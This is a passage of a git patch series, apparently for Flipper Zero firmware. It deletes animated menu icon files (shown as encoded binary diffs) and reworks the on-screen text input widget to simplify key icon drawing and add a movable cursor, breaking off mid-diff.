z|Ly`ue-e#E^(T=*>_4D`ZaAV3DTI1xXNUeu*aAzz1!H}zC?o>t&l1CM|Kk4tmik|O zpZ{;^Anc$ZJALxM`sVj1b~Ek_|4{*Z@{f+NM7DS+Y?Xu-5JlMv+vRBMY`ML?&9Q5b zz$|inM{_n7rq1*}4|_f#K!f|k_JvS1{4(#c&U?DopL~lRv`5zL$`c3^4conIw~%{e mf7o0O2E%O43}z%LDJ5IBtl3IxXj3Fx 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 diff --git a/assets/icons/MainMenu/Debug_14/frame_04.png b/assets/icons/MainMenu/Debug_14/frame_04.png deleted file mode 100644 index 5f89c2e1b7ba2f6a23d670a80a0ca5250d2172fb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3717 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 diff --git a/assets/icons/MainMenu/Debug_14/frame_rate b/assets/icons/MainMenu/Debug_14/frame_rate deleted file mode 100644 index e440e5c84..000000000 --- a/assets/icons/MainMenu/Debug_14/frame_rate +++ /dev/null @@ -1 +0,0 @@ -3 \ No newline at end of file diff --git a/assets/icons/MainMenu/FileManager_14/frame_01.png b/assets/icons/MainMenu/FileManager_14/frame_01.png deleted file mode 100644 index 3403ec8a67445fd7e3b3d094f8ce290088a9b207..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 102 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sSBpA$%1!{nluBVG*2*>qg3x&f4|M?ELN(g8Q y92Tf=S8Qlh{KMXCFHoD0282^@lH31Vr26(#qxvXs0AOG7KJNQl*+}VFv zLEx}JeY;{qqv9X-W_y9!#18gF<~-l>C8SaqYGnludt1C)12VzW)z4*}Q$iB}?Mxil diff --git a/assets/icons/MainMenu/FileManager_14/frame_03.png b/assets/icons/MainMenu/FileManager_14/frame_03.png deleted file mode 100644 index af431370807adcbacfd809f79405c05b8c537387..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 97 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sSBpA$%1!{nlhNp{T2*>s0AOG7K`y^5%9=$hU tF)(QPpYVZwkv`8yhc9gh|M5CE^Dr#x61;TP^VemNUQbs)mvv4FO#pIV9d7^t diff --git a/assets/icons/MainMenu/FileManager_14/frame_04.png b/assets/icons/MainMenu/FileManager_14/frame_04.png deleted file mode 100644 index edeed16d52e3ec98a7726919264bef4f7c4c6b0e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 97 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sSBpA$%1!{nlhNp{T2*>s0AOG7K`+od4nDRfd uAR&R{|G@|RF7XnN8ei}>|CMfIlVmt>SLo&2g&W_3^m@AbxvXs0AOG7K`+od4nDReS tBOyWK|G@|RF7XnN8ei}>|CMfIlVmu)R@kzMTmBtLucxb@%Q~loCIFwa9RmOW diff --git a/assets/icons/MainMenu/FileManager_14/frame_06.png b/assets/icons/MainMenu/FileManager_14/frame_06.png deleted file mode 100644 index fd5e950207e9790fbd9027fc0850c647bdd5194b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 85 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sSBpA$%1!{nljHioZ2*>s0AOG7K`+od4nDRd{ hVM5}H`sO~V6o%tFg_llS7#t5$@9FC2vd$@?2>?p%7_$HX diff --git a/assets/icons/MainMenu/FileManager_14/frame_07.png b/assets/icons/MainMenu/FileManager_14/frame_07.png deleted file mode 100644 index 71e4f76a0d7c3586d3ba2dcf727665ebef3d33c4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 97 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sSBpA$%1!{nlhNp{T2*>s0AOG7K`+od4nDReS tBOyWK|G@|RF7XnN8ei}>|CMfIlVmu)R@kzMTmBtLucxb@%Q~loCIFwa9RmOW diff --git a/assets/icons/MainMenu/FileManager_14/frame_08.png b/assets/icons/MainMenu/FileManager_14/frame_08.png deleted file mode 100644 index edeed16d52e3ec98a7726919264bef4f7c4c6b0e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 97 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sSBpA$%1!{nlhNp{T2*>s0AOG7K`+od4nDRfd uAR&R{|G@|RF7XnN8ei}>|CMfIlVmt>SLo&2g&W_3^m@AbxvXs0AOG7K`y^5%9=$hU tF)(QPpYVZwkv`8yhc9gh|M5CE^Dr#x61;TP^VemNUQbs)mvv4FO#pIV9d7^t diff --git a/assets/icons/MainMenu/FileManager_14/frame_10.png b/assets/icons/MainMenu/FileManager_14/frame_10.png deleted file mode 100644 index 53cbfc54154bb88eed9461de0b7a32f2ea4b10ad..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 103 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sSBpA$%1!{nlo~Mgr2*>s0AOG7KJNQl*+}VFv zLEx}JeY;{qqv9X-W_y9!#18gF<~-l>C8SaqYGnludt1C)12VzW)z4*}Q$iB}?Mxil diff --git a/assets/icons/MainMenu/FileManager_14/frame_rate b/assets/icons/MainMenu/FileManager_14/frame_rate deleted file mode 100644 index e440e5c84..000000000 --- a/assets/icons/MainMenu/FileManager_14/frame_rate +++ /dev/null @@ -1 +0,0 @@ -3 \ No newline at end of file From 006a05973f98babca5b1fa8064957b5902d0e5ba Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 25 Mar 2023 02:32:55 +0000 Subject: [PATCH 263/329] Simplify text input keyboard drawing logic --- .../services/gui/modules/text_input.c | 66 ++++++------------- 1 file changed, 20 insertions(+), 46 deletions(-) diff --git a/applications/services/gui/modules/text_input.c b/applications/services/gui/modules/text_input.c index 9f6953732..8401e35a6 100644 --- a/applications/services/gui/modules/text_input.c +++ b/applications/services/gui/modules/text_input.c @@ -288,54 +288,30 @@ static void text_input_view_draw_callback(Canvas* canvas, void* _model) { const TextInputKey* keys = get_row(keyboards[model->selected_keyboard], row); for(size_t column = 0; column < column_count; column++) { + bool selected = model->selected_row == row && model->selected_column == column; + const Icon* icon = NULL; if(keys[column].text == ENTER_KEY) { - canvas_set_color(canvas, ColorBlack); - if(model->selected_row == row && model->selected_column == column) { - canvas_draw_icon( - canvas, - keyboard_origin_x + keys[column].x, - keyboard_origin_y + keys[column].y, - &I_KeySaveSelected_24x11); - } else { - canvas_draw_icon( - canvas, - keyboard_origin_x + keys[column].x, - keyboard_origin_y + keys[column].y, - &I_KeySave_24x11); - } + icon = selected + ? &I_KeySaveSelected_24x11 + : &I_KeySave_24x11; } else if(keys[column].text == SWITCH_KEYBOARD_KEY) { - canvas_set_color(canvas, ColorBlack); - if(model->selected_row == row && model->selected_column == column) { - canvas_draw_icon( - canvas, - keyboard_origin_x + keys[column].x, - keyboard_origin_y + keys[column].y, - &I_KeyKeyboardSelected_10x11); - } else { - canvas_draw_icon( - canvas, - keyboard_origin_x + keys[column].x, - keyboard_origin_y + keys[column].y, - &I_KeyKeyboard_10x11); - } + icon = selected + ? &I_KeyKeyboardSelected_10x11 + : &I_KeyKeyboard_10x11; } else if(keys[column].text == BACKSPACE_KEY) { - canvas_set_color(canvas, ColorBlack); - if(model->selected_row == row && model->selected_column == column) { - canvas_draw_icon( - canvas, - keyboard_origin_x + keys[column].x, - keyboard_origin_y + keys[column].y, - &I_KeyBackspaceSelected_16x9); - } else { - canvas_draw_icon( - canvas, - keyboard_origin_x + keys[column].x, - keyboard_origin_y + keys[column].y, - &I_KeyBackspace_16x9); - } + icon = selected + ? &I_KeyBackspaceSelected_16x9 + : &I_KeyBackspace_16x9; + } + canvas_set_color(canvas, ColorBlack); + if(icon != NULL) { + canvas_draw_icon( + canvas, + keyboard_origin_x + keys[column].x, + keyboard_origin_y + keys[column].y, + icon); } else { - if(model->selected_row == row && model->selected_column == column) { - canvas_set_color(canvas, ColorBlack); + if(selected) { canvas_draw_box( canvas, keyboard_origin_x + keys[column].x - 1, @@ -343,8 +319,6 @@ static void text_input_view_draw_callback(Canvas* canvas, void* _model) { 7, 10); canvas_set_color(canvas, ColorWhite); - } else { - canvas_set_color(canvas, ColorBlack); } if(model->clear_default_text || text_length == 0) { From 8d174634f6cb549bdeffa00907b63094a9f36daa Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 25 Mar 2023 03:25:31 +0000 Subject: [PATCH 264/329] Move cursor position in text input widget --- .../services/gui/modules/text_input.c | 102 +++++++++++++----- 1 file changed, 75 insertions(+), 27 deletions(-) diff --git a/applications/services/gui/modules/text_input.c b/applications/services/gui/modules/text_input.c index 8401e35a6..a98539574 100644 --- a/applications/services/gui/modules/text_input.c +++ b/applications/services/gui/modules/text_input.c @@ -24,6 +24,10 @@ typedef struct { char* text_buffer; size_t text_buffer_size; bool clear_default_text; + FuriString* temp_str; + + bool cursor_select; + size_t cursor_pos; TextInputCallback callback; void* callback_context; @@ -241,9 +245,13 @@ static char char_to_uppercase(const char letter) { } static void text_input_backspace_cb(TextInputModel* model) { - uint8_t text_length = model->clear_default_text ? 1 : strlen(model->text_buffer); - if(text_length > 0) { - model->text_buffer[text_length - 1] = 0; + if(model->clear_default_text) { + model->text_buffer[0] = 0; + } else if(model->cursor_pos > 0) { + furi_string_set_str(model->temp_str, model->text_buffer); + furi_string_replace_at(model->temp_str, model->cursor_pos - 1, 1, ""); + model->cursor_pos--; + strcpy(model->text_buffer, furi_string_get_cstr(model->temp_str)); } } @@ -253,33 +261,42 @@ static void text_input_view_draw_callback(Canvas* canvas, void* _model) { uint8_t needed_string_width = canvas_width(canvas) - 8; uint8_t start_pos = 4; - const char* text = model->text_buffer; - canvas_clear(canvas); canvas_set_color(canvas, ColorBlack); canvas_draw_str(canvas, 2, 8, model->header); elements_slightly_rounded_frame(canvas, 1, 12, 126, 15); - if(canvas_string_width(canvas, text) > needed_string_width) { - canvas_draw_str(canvas, start_pos, 22, "..."); - start_pos += 6; - needed_string_width -= 8; - } - - while(text != 0 && canvas_string_width(canvas, text) > needed_string_width) { - text++; - } + FuriString* str = model->temp_str; + furi_string_set_str(str, model->text_buffer); + const char* cstr = furi_string_get_cstr(str); if(model->clear_default_text) { elements_slightly_rounded_box( - canvas, start_pos - 1, 14, canvas_string_width(canvas, text) + 2, 10); + canvas, start_pos - 1, 14, canvas_string_width(canvas, cstr) + 2, 10); canvas_set_color(canvas, ColorWhite); } else { - canvas_draw_str(canvas, start_pos + canvas_string_width(canvas, text) + 1, 22, "|"); - canvas_draw_str(canvas, start_pos + canvas_string_width(canvas, text) + 2, 22, "|"); + furi_string_replace_at(str, model->cursor_pos, 0, "|"); } - canvas_draw_str(canvas, start_pos, 22, text); + + if(model->cursor_pos > 0 && canvas_string_width(canvas, cstr) > needed_string_width) { + canvas_draw_str(canvas, start_pos, 22, "..."); + start_pos += 6; + needed_string_width -= 8; + for(uint off = 0; !furi_string_empty(str) && canvas_string_width(canvas, cstr) > needed_string_width && off < model->cursor_pos; off++) { + furi_string_right(str, 1); + } + } + + if(canvas_string_width(canvas, cstr) > needed_string_width) { + needed_string_width -= 4; + while(!furi_string_empty(str) && canvas_string_width(canvas, cstr) > needed_string_width) { + furi_string_left(str, furi_string_size(str) - 1); + } + furi_string_cat_str(str, "..."); + } + + canvas_draw_str(canvas, start_pos, 22, cstr); canvas_set_font(canvas, FontKeyboard); @@ -288,7 +305,7 @@ static void text_input_view_draw_callback(Canvas* canvas, void* _model) { const TextInputKey* keys = get_row(keyboards[model->selected_keyboard], row); for(size_t column = 0; column < column_count; column++) { - bool selected = model->selected_row == row && model->selected_column == column; + bool selected = !model->cursor_select && model->selected_row == row && model->selected_column == column; const Icon* icon = NULL; if(keys[column].text == ENTER_KEY) { icon = selected @@ -359,12 +376,17 @@ static void text_input_handle_up(TextInput* text_input, TextInputModel* model) { model->selected_row == 0) { model->selected_column = model->selected_column + 1; } + } else { + model->cursor_select = true; + model->clear_default_text = false; } } static void text_input_handle_down(TextInput* text_input, TextInputModel* model) { UNUSED(text_input); - if(model->selected_row < keyboard_row_count - 1) { + if(model->cursor_select) { + model->cursor_select = false; + } else if(model->selected_row < keyboard_row_count - 1) { model->selected_row++; if(model->selected_column > get_row_size(keyboards[model->selected_keyboard], model->selected_row) - 4 && @@ -376,7 +398,11 @@ static void text_input_handle_down(TextInput* text_input, TextInputModel* model) static void text_input_handle_left(TextInput* text_input, TextInputModel* model) { UNUSED(text_input); - if(model->selected_column > 0) { + if(model->cursor_select) { + if(model->cursor_pos > 0) { + model->cursor_pos = CLAMP(model->cursor_pos - 1, strlen(model->text_buffer), 0u); + } + } else if(model->selected_column > 0) { model->selected_column--; } else { model->selected_column = @@ -386,8 +412,10 @@ static void text_input_handle_left(TextInput* text_input, TextInputModel* model) static void text_input_handle_right(TextInput* text_input, TextInputModel* model) { UNUSED(text_input); - if(model->selected_column < - get_row_size(keyboards[model->selected_keyboard], model->selected_row) - 1) { + if(model->cursor_select) { + model->cursor_pos = CLAMP(model->cursor_pos + 1, strlen(model->text_buffer), 0u); + } else if(model->selected_column < + get_row_size(keyboards[model->selected_keyboard], model->selected_row) - 1) { model->selected_column++; } else { model->selected_column = 0; @@ -395,6 +423,7 @@ static void text_input_handle_right(TextInput* text_input, TextInputModel* model } static void text_input_handle_ok(TextInput* text_input, TextInputModel* model, InputType type) { + if(model->cursor_select) return; bool shift = type == InputTypeLong; bool repeat = type == InputTypeRepeat; char selected = get_selected_char(model); @@ -422,8 +451,15 @@ static void text_input_handle_ok(TextInput* text_input, TextInputModel* model, I if(shift != (text_length == 0)) { selected = char_to_uppercase(selected); } - model->text_buffer[text_length] = selected; - model->text_buffer[text_length + 1] = 0; + if(model->clear_default_text) { + furi_string_set_str(model->temp_str, &selected); + model->cursor_pos = 1; + } else { + furi_string_set_str(model->temp_str, model->text_buffer); + furi_string_replace_at(model->temp_str, model->cursor_pos, 0, &selected); + model->cursor_pos++; + } + strcpy(model->text_buffer, furi_string_get_cstr(model->temp_str)); } } model->clear_default_text = false; @@ -547,7 +583,10 @@ TextInput* text_input_alloc() { with_view_model( text_input->view, TextInputModel * model, - { model->validator_text = furi_string_alloc(); }, + { + model->validator_text = furi_string_alloc(); + model->temp_str = furi_string_alloc(); + }, false); text_input_reset(text_input); @@ -560,7 +599,10 @@ void text_input_free(TextInput* text_input) { with_view_model( text_input->view, TextInputModel * model, - { furi_string_free(model->validator_text); }, + { + 